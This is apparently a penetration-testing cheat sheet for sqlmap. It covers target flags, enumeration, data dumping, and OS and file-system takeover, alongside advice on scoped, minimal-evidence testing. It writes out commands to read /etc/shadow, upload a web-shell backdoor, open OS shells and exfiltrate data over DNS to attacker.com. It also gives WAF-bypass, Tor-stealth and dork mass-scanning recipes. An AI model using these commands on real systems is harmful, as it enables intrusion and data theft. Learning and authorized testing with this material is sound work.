repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
sqlmap.mdMarkdown743 lines33.4 KiBsource raw download

title: "sqlmap" description: "SQLMap automated SQL injection: target flags, techniques, enumeration, dumping and tamper scripts." category: exploitation tags: [exploitation, sql-injection, web] tools: [SQLMap] difficulty: intermediate updated: "2026-10-12" source: "vault:Exploitation/sqlmap.md"#

sqlmap#

A captured-request workflow#

The supplied report tests a POST field, not just a URL. Export the exact authenticated request from your proxy to request.txt, check that it reaches the intended application, and limit initial tests to the suspected parameter. Refresh expired cookies and CSRF tokens before interpreting a negative result.

sqlmap -r request.txt -p email --level=1 --risk=1 --threads=1
# After confirming the injection and permitted impact:
sqlmap -r request.txt -p email --current-user --current-db --threads=1

-r preserves method, body and headers; -p names the parameter. A * custom injection marker is another selection method: use it deliberately rather than marking every field. Do not start with --dump-all or OS execution. Detection, data access and host execution are separate outcomes. Preserve only the records required for proof and redact their values. See the attack explanation and sqlmap's usage documentation.

Ultimate SQLMap Cheat Sheet#

⚠️ LEGAL DISCLAIMER: This cheat sheet is intended exclusively for authorized penetration testing and security assessments. Unauthorized access to computer systems is illegal. Always obtain explicit written permission before conducting security testing. The author assumes no liability for misuse.


1. Target Specification & Request Handling#

Basic Target Specification#

Flag/Command Description Example Usage
-u URL Target URL with injectable parameter sqlmap -u "http://site.com/page.php?id=1"
-d DSN Direct database connection string sqlmap -d "mysql://user:pass@localhost:3306/db"
-r FILE Load HTTP request from file (Burp/ZAP export) sqlmap -r request.txt
-l FILE Parse targets from Burp/WebScarab proxy log sqlmap -l burp_log.xml
-g DORK Process Google dork results as targets sqlmap -g "inurl:'.php?id='"
-m FILE Scan multiple targets from text file sqlmap -m targets.txt

Crawling & Discovery#

Flag/Command Description Example Usage
--crawl=DEPTH Crawl website from target URL (finds GET params only) sqlmap -u "http://site.com" --crawl=3
--crawl-exclude Exclude pages matching regex during crawl sqlmap --crawl=2 --crawl-exclude="logout"
-x FILE Parse and test URLs from XML sitemap sqlmap -x http://site.com/sitemap.xml
--forms Parse and test HTML forms on target page sqlmap -u "http://site.com/login.php" --forms

Request Customization#

Flag/Command Description Example Usage
--data=DATA POST data string (use with -u) sqlmap -u "http://site.com/login" --data="user=admin&pass=test"
--method=METHOD Force HTTP method (GET/POST/PUT/DELETE/PATCH) sqlmap -u "http://site.com/api" --method=PUT
--cookie=COOKIE HTTP Cookie header value sqlmap -u "http://site.com" --cookie="PHPSESSID=abc123"
--headers=HEADERS Extra headers (newline-separated) sqlmap -u URL --headers="X-Forwarded-For: 1.2.3.4\nAccept: */*"
--referer=REFERER HTTP Referer header sqlmap -u URL --referer="http://google.com"
--user-agent=UA Custom User-Agent sqlmap -u URL --user-agent="Mozilla/5.0..."
--random-agent Use randomly selected User-Agent sqlmap -u URL --random-agent
--mobile Imitate smartphone User-Agent sqlmap -u URL --mobile
--host=HOST Custom HTTP Host header sqlmap -u URL --host="target.local"

Authentication#

Flag/Command Description Example Usage
--auth-type=TYPE HTTP authentication (Basic/Digest/NTLM/PKI) sqlmap -u URL --auth-type=Basic --auth-cred="user:pass"
--auth-cred=CRED Authentication credentials (username:password) sqlmap -u URL --auth-type=Digest --auth-cred="admin:secret"
--auth-file=FILE HTTP authentication PEM cert/private key file sqlmap -u URL --auth-type=PKI --auth-file=key.pem

Custom Injection Points#

Flag/Command Description Example Usage
-p PARAMETER Testable parameter(s) sqlmap -u URL -p "id,user"
--skip=PARAM Skip testing specific parameters sqlmap -u URL --skip="csrf_token"
--param-exclude Exclude parameters by regex sqlmap -u URL --param-exclude="token.*"
* (marker) Mark custom injection point in URL or data sqlmap -u "http://site.com/page?id=1*&user=admin"

Example: Testing POST Request from Burp Suite

# Save Burp request to request.txt, then:
sqlmap -r request.txt --batch --level=3 --risk=2

2. Optimization & Performance#

Multithreading & Speed#

Flag/Command Description Example Usage
--threads=NUM Max number of concurrent HTTP requests (default 1, max 10) sqlmap -u URL --threads=5
-o Enable all optimization switches sqlmap -u URL -o --threads=5
--predict-output Predict common queries output (cannot use with --threads) sqlmap -u URL --predict-output

Connection Optimization#

Flag/Command Description Example Usage
--keep-alive Use persistent HTTP(s) connections sqlmap -u URL --keep-alive
--null-connection Retrieve page length without actual content (faster) sqlmap -u URL --null-connection
--timeout=SECS Seconds to wait before connection timeout (default 30) sqlmap -u URL --timeout=10
--retries=NUM Retries when connection timeout occurs (default 3) sqlmap -u URL --retries=5
--delay=SECS Delay in seconds between each HTTP request sqlmap -u URL --delay=2

Session Management#

Flag/Command Description Example Usage
--flush-session Permanently delete session data for current target sqlmap -u URL --flush-session
--fresh-queries Ignore session file data (don't delete, just skip) sqlmap -u URL --fresh-queries
--purge Safely remove all content from sqlmap data directory sqlmap --purge

Performance Optimization Example:

# Fast scan with optimizations
sqlmap -u "http://site.com/page?id=1" -o --threads=10 --keep-alive --batch

3. Injection Techniques & Detection#

Technique Selection#

Code Technique Description
B Boolean-based blind True/False logic to infer data
E Error-based Extract data from DBMS error messages
U UNION query-based Append UNION SELECT to retrieve data directly
S Stacked queries Execute additional SQL statements (required for command execution)
T Time-based blind Use database time delays to infer data
Q Inline queries Inline query injection (rare)
Flag/Command Description Example Usage
--technique=TECH SQL injection techniques to test (default: BEUSTQ) sqlmap -u URL --technique=BEUS (skip time-based)
--time-sec=SECS Seconds to delay for time-based blind (default 5) sqlmap -u URL --time-sec=10

Risk & Level Configuration#

Flag/Command Description Example Usage
--level=LEVEL Test depth (1-5, default 1). Level 2+ tests cookies, Level 3+ tests User-Agent/Referer sqlmap -u URL --level=5
--risk=RISK Risk of tests (1-3, default 1). Higher includes OR-based and heavy queries sqlmap -u URL --risk=3

Level Details:

Risk Details:

DBMS Specification#

Flag/Command Description Example Usage
--dbms=DBMS Force backend DBMS (MySQL, Oracle, PostgreSQL, MSSQL, etc.) sqlmap -u URL --dbms=MySQL
--os=OS Force backend OS (Linux, Windows) sqlmap -u URL --os=Linux
--fingerprint Extensive DBMS version fingerprinting sqlmap -u URL --fingerprint
--banner Retrieve DBMS banner sqlmap -u URL --banner

UNION-Specific Flags#

Flag/Command Description Example Usage
--union-cols=RANGE Range of columns to test in UNION (e.g., 1-20) sqlmap -u URL --union-cols=5-15
--union-char=CHAR Character to use for bruteforcing column numbers sqlmap -u URL --union-char=GH
--union-from=TABLE Table name to use in FROM clause of UNION sqlmap -u URL --union-from=users

Detection Methods#

Flag/Command Description Example Usage
--string=STRING String to match when query is TRUE sqlmap -u URL --string="Welcome"
--not-string=STRING String to match when query is FALSE sqlmap -u URL --not-string="Invalid"
--regexp=REGEXP Regexp to match when query is TRUE sqlmap -u URL --regexp="user.*found"
--code=CODE HTTP code to match when query is TRUE sqlmap -u URL --code=200
--text-only Compare pages based on text content only sqlmap -u URL --text-only
--titles Compare pages based on title only sqlmap -u URL --titles

Example: Aggressive Testing

sqlmap -u "http://site.com/page?id=1" --level=5 --risk=3 --technique=BEUST --batch

4. Enumeration (The "Takeover" Phase)#

Database & User Information#

Flag/Command Description Example Usage
--current-user Retrieve DBMS current user sqlmap -u URL --current-user
--current-db Retrieve DBMS current database sqlmap -u URL --current-db
--hostname Retrieve server hostname sqlmap -u URL --hostname
--is-dba Detect if current user is DBA sqlmap -u URL --is-dba
--users Enumerate DBMS users sqlmap -u URL --users
--passwords Enumerate user password hashes (attempts to crack) sqlmap -u URL --passwords
--privileges Enumerate user privileges sqlmap -u URL --privileges
--roles Enumerate user roles sqlmap -u URL --roles

Database Enumeration#

Flag/Command Description Example Usage
--dbs List all databases sqlmap -u URL --dbs
-D DATABASE Specify target database sqlmap -u URL -D testdb --tables
--tables List tables in database(s) sqlmap -u URL -D testdb --tables
-T TABLE Specify target table sqlmap -u URL -D testdb -T users --columns
--columns List columns in table(s) sqlmap -u URL -D testdb -T users --columns
-C COLUMN Specify target column(s) sqlmap -u URL -D testdb -T users -C username,password --dump
--schema Enumerate entire DBMS schema sqlmap -u URL --schema
--count Retrieve number of entries in table(s) sqlmap -u URL -D testdb -T users --count

Data Extraction#

Flag/Command Description Example Usage
--dump Dump table entries sqlmap -u URL -D testdb -T users --dump
--dump-all Dump all DBMS databases tables sqlmap -u URL --dump-all
--exclude-sysdbs Exclude system databases during enumeration sqlmap -u URL --dump-all --exclude-sysdbs
--start=ROW First dump table entry to retrieve sqlmap -u URL -D testdb -T users --start=50 --stop=100 --dump
--stop=ROW Last dump table entry to retrieve sqlmap -u URL -D testdb -T users --start=1 --stop=10 --dump
--where=CLAUSE Use WHERE condition during table dump sqlmap -u URL -D testdb -T users --dump --where="id>100"
--pivot-column=COL Use pivot column name for unique row identifiers sqlmap -u URL --dump --pivot-column=id

Search Functions#

Flag/Command Description Example Usage
--search Search for databases, tables, or columns sqlmap -u URL --search -C password
-C COLUMN Search for column name(s) sqlmap -u URL --search -C "user,pass"
-T TABLE Search for table name(s) sqlmap -u URL --search -T "admin"
-D DATABASE Search for database name(s) sqlmap -u URL --search -D "prod"

Direct SQL Execution#

Flag/Command Description Example Usage
--sql-query=QUERY Execute custom SQL statement sqlmap -u URL --sql-query="SELECT user()"
--sql-shell Interactive SQL shell sqlmap -u URL --sql-shell
--sql-file=FILE Execute SQL statements from file sqlmap -u URL --sql-file=queries.sql

Brute Force Discovery#

Flag/Command Description Example Usage
--common-tables Check existence of common table names sqlmap -u URL --common-tables
--common-columns Check existence of common column names sqlmap -u URL -D testdb -T users --common-columns

Complete Enumeration Example#

# Enumerate everything
sqlmap -u "http://site.com/page?id=1" -a --batch

# Target specific database and table
sqlmap -u URL --batch --dbs
sqlmap -u URL --batch -D webapp -T users --columns
sqlmap -u URL --batch -D webapp -T users -C id,username,password --dump

Output Formats:

Flag/Command Description Example Usage
--dump-format=FORMAT Dump data format (CSV, HTML, SQLITE) sqlmap -u URL --dump --dump-format=HTML
--csv-del=CHAR CSV delimiter character (default ,) sqlmap -u URL --dump --csv-del=";"

5. System Access & File System#

File System Operations#

Flag/Command Description Example Usage
--file-read=FILE Read file from the DBMS file system sqlmap -u URL --file-read="/etc/passwd"
--file-write=LOCAL Local file to write to backend DBMS sqlmap -u URL --file-write="shell.php" --file-dest="/var/www/html/shell.php"
--file-dest=REMOTE Absolute path to write file on backend See above example

Note: File operations typically require DBA privileges and LOAD_FILE() (MySQL) or similar functions.

OS Command Execution#

Flag/Command Description Example Usage
--os-cmd=CMD Execute single operating system command sqlmap -u URL --os-cmd="whoami"
--os-shell Interactive operating system shell (requires stacked queries) sqlmap -u URL --os-shell
--os-pwn Prompt for OOB Meterpreter/VNC shell (requires stacked queries) sqlmap -u URL --os-pwn --msf-path="/opt/metasploit"
--msf-path=PATH Path to Metasploit Framework installation See above example
--priv-esc Database process user privilege escalation sqlmap -u URL --priv-esc

Requirements for OS Takeover:

Windows Registry Access#

Note: Works with MySQL (via UDF), PostgreSQL, and MSSQL when stacked queries are supported.

Flag/Command Description Example Usage
--reg-read Read Windows registry key value sqlmap -u URL --reg-read --reg-key="HKLM\Software\..." --reg-value="Version"
--reg-add Write Windows registry key value sqlmap -u URL --reg-add --reg-key="HKLM\..." --reg-value="Test" --reg-data="123" --reg-type=REG_SZ
--reg-del Delete Windows registry key value sqlmap -u URL --reg-del --reg-key="HKLM\..." --reg-value="Test"
--reg-key=KEY Registry key path See examples above
--reg-value=VALUE Registry key value name See examples above
--reg-data=DATA Registry key value data See examples above
--reg-type=TYPE Registry key value type (REG_SZ, REG_DWORD, etc.) See examples above

UDF Injection#

Flag/Command Description Example Usage
--udf-inject Inject custom user-defined functions sqlmap -u URL --udf-inject

File System Takeover Example#

# Read sensitive file
sqlmap -u "http://site.com/page?id=1" --file-read="/etc/shadow" --batch

# Upload web shell
sqlmap -u URL --file-write="shell.php" --file-dest="/var/www/html/backdoor.php" --batch

# Get OS shell
sqlmap -u URL --os-shell --batch
# Then execute: whoami, id, uname -a

6. WAF Bypass & Tamper Scripts#

WAF Detection#

Flag/Command Description Example Usage
--check-waf Check for WAF/IPS protection sqlmap -u URL --check-waf
--skip-waf Skip WAF/IPS detection mechanism sqlmap -u URL --skip-waf

Tamper Script Usage#

Flag/Command Description Example Usage
--tamper=SCRIPT Use tamper script(s) to modify injection payloads sqlmap -u URL --tamper=space2comment
Multiple tampers Chain multiple tampers (comma-separated) sqlmap -u URL --tamper=between,randomcase,space2comment

Top 10 Tamper Scripts#

Tamper Script Description Use Case Example Transformation
space2comment Replaces space with /**/ Bypass basic space filtering, general WAF evasion SELECT id FROM users → SELECT/**/id/**/FROM/**/users
between Replaces > with NOT BETWEEN 0 AND #, = with BETWEEN # AND # Bypass operator blocking (CloudFlare, ModSecurity) id=1 → id BETWEEN 1 AND 1
randomcase Randomizes character case in keywords Bypass case-sensitive filters SELECT → SeLeCt
charencode URL-encodes all payload characters Bypass basic signature detection ' OR 1=1 → %27%20%4F%52%20%31%3D%31
apostrophenullencode Replaces apostrophe with %00%27 Bypass magic_quotes and basic escaping ' → %00%27
base64encode Base64 encodes entire payload (requires DBMS support for decoding) Advanced evasion for intelligent WAFs UNION SELECT → VU5JT04gU0VMRUNUA==
unmagicquotes Replaces quote with multibyte combo %bf%27 Bypass magic_quotes in PHP/MySQL (GBK charset required) ' → %bf%27
space2plus Replaces space with + Basic WAF evasion, URL encoding normalization SELECT id → SELECT+id
apostrophemask Replaces apostrophe with UTF-8 full-width equivalent Bypass basic apostrophe filtering ' → '
securesphere Specific tamper for Imperva SecureSphere WAF Known Imperva bypasses Adds special chars/comments

DBMS-Specific Tampers#

MySQL Tampers#

Tamper Script Description Example
space2mysqldash Replace space with -- followed by newline SELECT id → SELECT--[\n]id
space2hash Replace space with # followed by random string and newline SELECT id → SELECT#foo[\n]id
versionedkeywords Enclose each keyword with MySQL version comment UNION SELECT → /*!UNION*//*!SELECT*/
versionedmorekeywords Version comments around more keywords Extended version of above

MSSQL Tampers#

Tamper Script Description Example
space2mssqlblank Replace space with random blank character from valid MSSQL set Uses %01-%08, %0B, etc.
space2dash Replace space with -- followed by random string SELECT id → SELECT--foo[\n]id

ModSecurity Tampers#

Tamper Script Description Example
modsecurityversioned Embraces query with versioned comment 1 AND 1=1 → 1 /*!30000AND 1=1*/
modsecurityzeroversioned Embraces query with zero-versioned comment 1 AND 1=1 → 1 /*!00000AND 1=1*/

General Purpose Tampers#

Tamper Script Description Use Case
equaltolike Replaces = with LIKE Bypass = operator filtering
greatest Replaces > with GREATEST function Bypass comparison operator blocking
multiplespaces Adds multiple spaces around SQL keywords Confuse signature-based detection
nonrecursivereplacement Replace keywords with double representation Bypass filters using .replace() once (e.g., SESELECTLECT → SELECT)

WAF Bypass Strategy Examples#

Cloudflare Bypass:

sqlmap -u URL --tamper=between,randomcase,space2comment --random-agent --delay=2

ModSecurity Bypass:

sqlmap -u URL --tamper=modsecurityversioned,space2comment,between --level=5 --risk=3

Generic WAF Bypass with Tor:

sqlmap -u URL --tamper=apostrophemask,between,charencode,randomcase --tor --tor-type=SOCKS5 --check-tor --random-agent

Imperva SecureSphere Bypass:

sqlmap -u URL --tamper=securesphere,space2comment --random-agent

MySQL with magic_quotes:

sqlmap -u URL --tamper=unmagicquotes --dbms=MySQL

7. Advanced/Obscure Features#

Proxy & Anonymity#

Flag/Command Description Example Usage
--proxy=PROXY Use HTTP/SOCKS proxy (http://ip:port or socks5://ip:port) sqlmap -u URL --proxy="http://127.0.0.1:8080"
--proxy-cred=CRED Proxy authentication credentials sqlmap -u URL --proxy=URL --proxy-cred="user:pass"
--proxy-file=FILE Load proxy list from file sqlmap -u URL --proxy-file=proxies.txt
--ignore-proxy Ignore system default proxy settings sqlmap -u URL --ignore-proxy
--tor Use Tor anonymity network sqlmap -u URL --tor --tor-port=9050
--tor-port=PORT Set Tor proxy port (default 8118) See above
--tor-type=TYPE Tor proxy type (HTTP, SOCKS4, SOCKS5 - default SOCKS5) sqlmap -u URL --tor --tor-type=SOCKS5
--check-tor Check if Tor is used properly sqlmap -u URL --tor --check-tor

DNS Exfiltration#

Flag/Command Description Example Usage
--dns-domain=DOMAIN Use DNS exfiltration attack (out-of-band technique) sqlmap -u URL --dns-domain="attacker.com"

Requires: A DNS server under your control to capture subdomain queries containing exfiltrated data.

Second-Order Injection#

Flag/Command Description Example Usage
--second-url=URL Target URL for second-order response sqlmap -u "http://site.com/post" --second-url="http://site.com/profile"
--second-req=FILE Load second-order HTTP request from file sqlmap -u URL --second-req=second.txt

Use Case: Inject payload on one page (e.g., registration), effect appears on another (e.g., profile page).

Custom Payload Manipulation#

Flag/Command Description Example Usage
--eval=CODE Evaluate provided Python code before each request sqlmap -u URL --eval="import hashlib; hash=hashlib.md5(id).hexdigest()"
--skip-urlencode Skip URL encoding of payload data sqlmap -u URL --skip-urlencode

--eval Use Case: Generate dynamic tokens or hashes required by the application for each request.

HTTP Parameter Pollution (HPP)#

Flag/Command Description Example Usage
--hpp Use HTTP Parameter Pollution technique sqlmap -u URL --hpp

Sends same parameter multiple times (e.g., ?id=1&id=2). Different servers parse this differently.

Chunked Transfer Encoding#

Flag/Command Description Example Usage
--chunked Use HTTP chunked transfer encoded POST requests sqlmap -u URL --data="..." --chunked

Use Case: Bypass WAFs that don't properly handle chunked encoding.

CSRF Token Handling#

Flag/Command Description Example Usage
--csrf-token=TOKEN Parameter name holding anti-CSRF token sqlmap -u URL --data="..." --csrf-token="csrf_token"
--csrf-url=URL URL to extract anti-CSRF token from sqlmap -u URL --csrf-token="token" --csrf-url="http://site.com/form"
--csrf-method=METHOD HTTP method to use for CSRF token page sqlmap -u URL --csrf-token="token" --csrf-method=GET

SQLMap will automatically extract and include the CSRF token in each request.

Safe URL Visits#

Flag/Command Description Example Usage
--safe-url=URL Regularly visit this URL during testing sqlmap -u URL --safe-url="http://site.com/keepalive"
--safe-freq=NUM Test requests between visits to safe URL sqlmap -u URL --safe-url=URL --safe-freq=5

Use Case: Keep session alive or bypass rate limiting by visiting benign pages periodically.

Scope Control#

Flag/Command Description Example Usage
--scope=REGEX Filter targets from proxy log by regex sqlmap -l burp.log --scope=".*\.target\.com.*"
--test-filter=FILTER Filter tests by payloads/titles sqlmap -u URL --test-filter="ROW"
--test-skip=FILTER Skip tests by payloads/titles sqlmap -u URL --test-skip="BENCHMARK"

Output & Logging#

Flag/Command Description Example Usage
--output-dir=DIR Custom output directory path sqlmap -u URL --output-dir="/tmp/scan"
-t FILE Log all HTTP traffic to text file sqlmap -u URL -t traffic.log
--har=FILE Log all HTTP traffic to HAR file sqlmap -u URL --har=traffic.har
--batch Never ask for user input (use defaults) sqlmap -u URL --batch
--answers=ANSWERS Set predefined answers (e.g., crack=N) sqlmap -u URL --answers="crack=N,follow=N"

Verbosity & Debugging#

Flag/Command Description Example Usage
-v LEVEL Verbosity level (0-6, default 1) sqlmap -u URL -v 3
--parse-errors Parse and display DBMS error messages sqlmap -u URL --parse-errors
--wizard Interactive wizard mode for beginners sqlmap --wizard
--beep Beep on question/injection found sqlmap -u URL --beep
--alert=CMD Run OS command when injection found sqlmap -u URL --alert="notify-send 'Found!'"

Verbosity Levels:

Maintenance#

Flag/Command Description Example Usage
--update Update SQLMap to latest development version sqlmap --update
--dependencies Check for missing dependencies sqlmap --dependencies

Miscellaneous Advanced Flags#

Flag/Command Description Example Usage
--invalid-bignum Use big numbers for invalidating parameter values sqlmap -u URL --invalid-bignum
--invalid-logical Use logical operations for invalidating values sqlmap -u URL --invalid-logical
--common-files Check for common files on DBMS file system sqlmap -u URL --common-files
-a / --all Retrieve everything (banner, users, db, tables, columns, dump) sqlmap -u URL -a --batch

Practical Workflow Examples#

1. Quick Vulnerability Assessment#

sqlmap -u "http://target.com/page?id=1" --batch --level=3 --risk=2 --dbs

2. Authenticated POST Request Testing#

# Capture request in Burp, save to req.txt
sqlmap -r req.txt --batch --level=2 --current-db --tables

3. Dump Specific Table with WAF Bypass#

sqlmap -u URL -D webapp -T users -C username,password,email --dump \
  --tamper=between,randomcase,space2comment \
  --random-agent \
  --threads=5 \
  --batch

4. OS Shell Access#

sqlmap -u URL --batch --level=3 --risk=3 --os-shell
# Requires: stacked queries support, DBA privileges

5. Tor + Tamper + Slow Scan (Stealth)#

sqlmap -u URL \
  --tor --tor-type=SOCKS5 --check-tor \
  --tamper=space2comment,randomcase \
  --random-agent \
  --delay=3 \
  --level=3 \
  --batch

6. Complete Enumeration with Output#

sqlmap -u URL -a \
  --dump-all \
  --exclude-sysdbs \
  --output-dir=/tmp/sqlmap_results \
  --dump-format=CSV \
  --batch

7. Google Dork Mass Scanning#

sqlmap -g "inurl:'.php?id=' site:target.com" \
  --batch \
  --level=2 \
  --threads=5 \
  --dbs

8. Second-Order Injection#

# Inject payload on registration page, check profile page for effect
sqlmap -u "http://site.com/register" \
  --data="username=test&email=test@test.com" \
  --second-url="http://site.com/profile" \
  --batch

9. CSRF Token Handling + Auth#

sqlmap -u "http://site.com/search" \
  --cookie="PHPSESSID=abc123" \
  --data="q=test&csrf=placeholder" \
  --csrf-token="csrf" \
  --csrf-url="http://site.com/search" \
  --batch

10. DNS Exfiltration (Blind + Firewall Bypass)#

sqlmap -u URL --dns-domain="attacker.com" --batch
# Requires: DNS server under your control listening for subdomain queries

Quick Reference: Common DBMS Injection Spots#

DBMS Key Functions File Read File Write Command Exec
MySQL LOAD_FILE(), INTO OUTFILE ✓ ✓ (requires perms) Via UDF (DBA only)
MSSQL xp_cmdshell, OPENROWSET ✓ (BULK INSERT) ✓ ✓ (via xp_cmdshell)
PostgreSQL COPY, pg_read_file() ✓ ✓ ✓ (via COPY TO PROGRAM)
Oracle UTL_FILE, DBMS_LOB ✓ (DBA) ✓ (DBA) Via Java stored procedures (DBA)
SQLite load_extension() ✗ (limited) ✗ (limited) Via custom extension (rare)

Final Notes#

This cheat sheet is comprehensive but not exhaustive. Always refer to the official SQLMap documentation and use -hh for complete flag details.

Reproduce the authenticated request first#

Before running detection, replay the captured request in your proxy and compare it with a normal application response. Keep the exact method, URL, Host, body, cookies and required token fields. Login redirects, stale CSRF values and generic error pages can invalidate the baseline.

mkdir -p evidence/sqlmap
sqlmap -r request.txt -p email --level=1 --risk=1 --threads=1 \
  --output-dir=evidence/sqlmap/session -t evidence/sqlmap/traffic.txt

Traffic logs include request secrets and possibly returned records; store them privately. A custom output directory makes cached findings easier to associate with this test. If the captured request is HTTPS and lacks enough scheme information, check whether --force-ssl is needed.

Select one injection location#

Input Selection
GET/form parameter -p parameter-name
Exact location in a body/header/path A single deliberate * marker
JSON field Capture the JSON request and inspect the parsed parameter
Cookie/header candidates Choose explicitly; raising level may expand coverage

Do not combine many markers unless that is the intended test. A body that looks like JSON but has the wrong content type can be interpreted differently by the application and the tool.

Use a minimal evidence ladder#

# Identify the database context after a confirmed injection
sqlmap -r request.txt -p email --current-user --current-db --threads=1
# Enumerate only the selected database/table when needed
sqlmap -r request.txt -p email -D labdb --tables --threads=1
sqlmap -r request.txt -p email -D labdb -T lab_records --columns --threads=1
# Retrieve selected columns and a bounded row window
sqlmap -r request.txt -p email -D labdb -T lab_records -C id,label \
  --dump --start=1 --stop=3 --threads=1

Replace names with discovered, permitted objects. A row window reduces retrieval, but without stable ordering the same range need not identify the same records later. If detection plus database context is enough, stop there instead of retrieving application records.

Manage sessions and dynamic state#

Option Purpose Limitation
--fresh-queries Re-fetch query results instead of using cached values Does not clear every detection/session decision
--flush-session Remove the target's saved session Preserve earlier evidence before discarding it
--csrf-token / --csrf-url Supported token-refresh workflow Verify it matches this application's token mechanism
--string / --not-string / --code Define a stable response discriminator Choose from reproducible true/false controls
--delay / --timeout / --retries Control pacing and transport handling Cannot turn an expired login into a valid request

Recognise uncertain results#

Observation Next investigation
Every response is a login page Refresh/validate authentication
Highly dynamic content Compare stable markers and control requests
Time-based result only Repeat paired controls; inspect path/server latency
403 / 429 after initial success Application policy/rate limit and test pacing
Detection resumes instantly Determine whether saved session findings were reused
Injection confirmed, OS shell fails DB privileges, DBMS features and filesystem/network prerequisites

Record parameter/location, technique, DBMS, exact reproducible request pair and permitted impact. Data extraction and host execution are separate findings. The sqlmap usage reference documents session handling, token refresh and enumeration options.